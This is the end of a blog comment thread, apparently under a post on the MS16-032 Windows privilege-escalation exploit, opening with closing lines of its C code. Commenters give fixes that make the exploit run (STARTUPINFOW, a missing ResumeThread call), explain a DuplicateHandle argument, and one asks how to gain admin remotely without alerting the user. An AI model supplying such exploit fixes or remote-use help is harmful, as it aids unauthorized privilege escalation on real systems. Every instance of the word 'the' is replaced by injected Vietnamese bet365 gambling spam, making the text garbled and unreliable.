CloseHandle(procInfo.hProcess);
CloseHandle(procInfo.hThread);
}
}
}
return 0;
}
Got Invalid Handle (error 6) for CreateProcessWithLogonW in GetThreadHandle on Windows 7 x64..
ReplyDeleteThis comment has been removed by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 author.
DeleteIgnore my last response. Be sure to build cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 code for x64 as opposed to x86 (32-bit). It will work cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n. It's even in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 article and I failed to read it.
DeleteThis comment has been removed by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 author.
Deleteок)
DeleteYou have two bugs in your example code:
ReplyDelete1) In GetThreadHandle, STARTUPINFO should be STARTUPINFOW. CreateProcessWithLogonW expects a pointer to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 wide string version of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 struct.
2) In main, after checking elevation.TokenIsElevated, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process thread is never resumed. As a result, it's like cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process was never started. A call to ResumeThread(procInfo.hThread) before cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 break statement will fix this.
The term 'exploit.ps1' is not recognized as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 name of a cmdlet, function
ReplyDelete, script file, or operable program. Check cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 spelling of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 name, or if
a path was included, verify that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 path is correct and try again.
At line:1 char:12
+ exploit.ps1 <<<<
+ CategoryInfo : ObjectNotFound: (exploit.ps1:String) [], Co
mmandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
When I used MS16-032, it opened a new CMD with admin privilege, but I want to do it remotely without prompting a new window to user.
ReplyDeleteHow can I use it remotely and get admin on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same shell not anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r CMD window?
Just curious what is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 meaning of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 0x4 in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 call to DuplicateHandle:
ReplyDeleteDuplicateHandle(procInfo.hProcess, (HANDLE)0x4,
GetCurrentProcess(), &hThread, 0, FALSE, DUPLICATE_SAME_ACCESS);
I see from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 MSDN article its hSourceHandle, but what specifically does 0x4 represent?
Same doubt here... Maybe it's not used in this case but checked against NULL, so cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Author is specifying a valid yet non-existing handle on purpose?
Delete0x4 is PID of System mates
Delete